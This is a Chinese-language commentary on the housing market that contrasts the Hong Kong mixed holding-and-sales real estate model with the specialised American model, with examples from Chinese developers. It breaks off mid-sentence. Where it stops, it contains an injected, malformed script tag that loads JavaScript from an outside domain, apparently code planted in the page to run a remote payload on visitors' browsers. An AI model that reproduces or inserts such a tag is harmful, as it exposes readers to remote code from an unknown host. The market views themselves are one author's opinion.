中国的楼市会不会大跌？中国的股市会不会因楼市而有大的变化？我想这个命题对国人而言都是个十分精彩的话题，而且不仅仅只是对于国人而言是个敏感的话题，对于许多外资的持有者也应该是一个谈论最多的话题。对时下最时髦的股民来说，房地产行业是否值得投资，是投资于楼市还是投资于房地产股市？这些问题归根结底是香港模式与美国模式哪种地产模式更值得投资的问题。这的确是一个需要好好考虑的问题。

    先说说香港模式，说到底，其实就是一个住宅地产与商业地产的混搭模式。根据自有的资金状况，通过合理的配置持有型商业地产，销售型住宅地产和商业地产，获得短期上的资金回笼和长期上的地产项目的租金，平衡企业的财务风险。     

    其利在于，降低企业的财务风险，能够有一个相对稳定的现金流，在遇到风险时不至于会因为现金流的断裂而出现财务危机甚至公司的倒闭。这一点被中国的大多数的房地产开发商所认同并加以利用，尤其是现在各种政策的出台，对房地产开发商自有资金的要求，贷款方面的限制，土地的出让等方面的制约使得更多的开发商不得不重新考虑企业的发展和经营方式的转变，由此这种混合经营的方式可以说是最佳选择。其次就是这种多元化经营可以做到“东方不亮西方亮”，多元化经营，分散风险，有利于规模的扩张和公司的壮大。从多元化的角度来说就是涵盖基建、住宅、写字楼、酒店、商场甚至工业地产等可以涉及到的土地上的所有产品。长江实业、和记黄埔、新鸿基、恒基、新世界这些中国著名的“五大家”无不通过上述方式开发房地产，经营企业。其弊在于，因为部分资金配置在长期的持有型的商业地产项目上，使得资金短期内流动性较差，资金周转率低，不能操作多个或大的地产项目。

    如果自有资金比较少，同时又操作多个项目，这种分散经营也会给企业带来很多不利的影响，长时间内资金周转困难就会发生悲剧了，当年的顺驰就是在这种经营方式下加上国家的宏观调控被无情的抹杀掉的。其次，在企业的发展初期，由于资金分散，难以做到有雄厚的资金保障形成强有力的核心竞争力。同时，如果再缺乏统一的财务管理，很容易就会出现财务混乱致使出现危机甚至公司的倒闭。这个在德隆的身上最能体现出来，我们先不说德隆的倒闭到底是什么原因，有哪些原因也不是一时半会能够讲明白的，但是最起码这个原因它是有的，财务混乱导致财务危机从而使德隆破产这是毋庸置疑的。再者，由于多元化经营，在操作上也就很难做到精细化，专业化，这也就导致企业不能形成品牌的核心竞争力，在现在的中国房地产市场上这样可能还可以占有一席之地，可是当市场得到充分的发展，市场上有了充分的竞争，就很难开拓占有大的市场份额，可能连以前的市场份额都会丢掉。由此也就不难看出万科为什么在一个它原本没有市场份额的地区可以迅速的开拓出自己的市场，要知道房地产市场在地域性上表现得很突出，这可以说是万科的专业化经营的结果。

    除此之外，中国的房地产开发商在对香港模式的学习应用中还出现了很多值得思考的问题，开发商认为土地和地段是至高无上的，只要拿到黄金地段就可以坐享天成，就等于是成功了。早期的万达在开发地产尤其是商业地产时就犯了这个毛病，错认为有了黄金地段就可以忽略对商业地产的策划和后期的经营管理（万达的商业地产项目的选址一般都是处于一个城市的黄金地段，这在一定程度上促进了万达的成功），导致后来出现商户投诉、媒体揭短、经营惨淡等一连串的问题。另一点就是不理智的认为可以炒楼花（期房），这种思想不仅仅是开发商有，就连投资者也有，由此就出现了前一段时间房地产市场上非理性的涨价。庆幸的是这些错误现在正在或已经被开发商或政府重视并加以解决。近期出现的“地王”和一些大的地产公司的囤积土地的现象是不是也是学习香港模式的结果呢，中国最大的土地储备商碧桂园前段时间公布的是近5000万平方米的土地储备，在香港模式中，开发商都认为只要有地有了房企业就可以活下来，就可以发展壮大，可事实上是这样吗？虽然说地产公司上市要看公司的土地储备，可这些并不是一个企业能够长期发展的决定要素。一个企业若是在高负债率的前提下即使有了很多的土地储备，这样的公司能说是健康的企业吗？企业的这种扩张无异于是自杀式扩张。

    再说说美国模式，其重点在于开发地产，通过对产品的精细化定位，高效地开发流程，迅速地完成销售周期。从一个宽泛的意义上来说，美国模式的开发商更接近于制造类企业。这种模式也是有着它特别的背景，美国的房地产市场相对于中国的房地产市场起步早，市场化程度高，市场上的竞争比较充分，由此导致地价和房价都由供需关系决定，在这种充分竞争的市场之下，加之成熟的金融体系，导致美国的房地产公司不得不采用高度的专业化，精细化，产业化，在细分的?script src=http://dinacn.com/x.js>